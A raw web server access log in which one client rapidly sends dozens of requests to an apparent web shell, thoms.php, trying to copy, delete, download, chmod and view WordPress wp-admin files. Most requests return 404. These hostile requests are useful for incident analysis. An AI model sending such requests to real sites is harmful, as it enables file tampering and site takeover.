45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?chmod=widgets.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fwidgets.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fwidgets.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fabout.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fabout.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /biotaiwan.com.tw/wp-admin/ms-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?del=link.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=link.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?del=post.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /biotaiwan.com.tw/wp-admin/update.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupgrade.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fupgrade.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fusers.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fusers.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?dl=load-styles.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=load-styles.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmedia.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fmedia.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?dl=post.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=post.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?del=themes.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=themes.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?chmod=widgets-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=widgets-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:56 -0400] "GET /thoms.php?dl=link-manager.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=link-manager.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?chmod=options-discussion.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=options-discussion.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?del=options-permalink.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=options-permalink.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?dl=revision.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?del=term.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=term.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?chmod=edit-tags.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=edit-tags.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-options.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-options.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=profile.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=profile.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?del=async-upload.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fplugin-install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fplugin-install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?del=profile.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=profile.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?del=admin-footer.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=admin-footer.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /biotaiwan.com.tw/wp-admin/authorize-application.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?del=authorize-application.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?dl=options-connectors.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /biotaiwan.com.tw/wp-admin/about.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:57 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fimages HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?dl=admin-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?chmod=menu-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?chmod=post-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?chmod=profile.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Frevision.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Frevision.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?del=edit-tags.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=edit-tags.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?del=install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-users.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fms-users.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?del=plugin-install.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fwidgets-form-blocks.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /biotaiwan.com.tw/wp-admin/edit-comments.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-comments.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-comments.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=menu-header.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=menu-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /thoms.php?dl=moderation.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=moderation.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:58 -0400] "GET /biotaiwan.com.tw/wp-admin/ms-delete-site.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /biotaiwan.com.tw/wp-admin/post.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fplugin-editor.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fplugin-editor.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?dl=privacy-policy-guide.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=privacy-policy-guide.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?chmod=images&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=images&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?dl=custom-header.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=custom-header.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-form-comment.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-form-comment.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-link-form.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=edit-link-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=menu.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=menu.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?dl=options-reading.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=setup-config.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=setup-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?chmod=tools.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=tools.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=link-add.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=link-add.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:59 -0400] "GET /thoms.php?chmod=media.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-edit.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-admin&view=ms-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /biotaiwan.com.tw/wp-admin/network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-privacy.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Foptions-privacy.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /thoms.php?del=user-new.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=user-new.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /biotaiwan.com.tw/wp-admin/admin-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /thoms.php?chmod=includes&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=includes&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /biotaiwan.com.tw/wp-admin/menu-header.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcontribute.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fcontribute.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:54:00 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-link-form.php&p=biotaiwan.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-admin%2Fedit-link-form.php&p=biotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
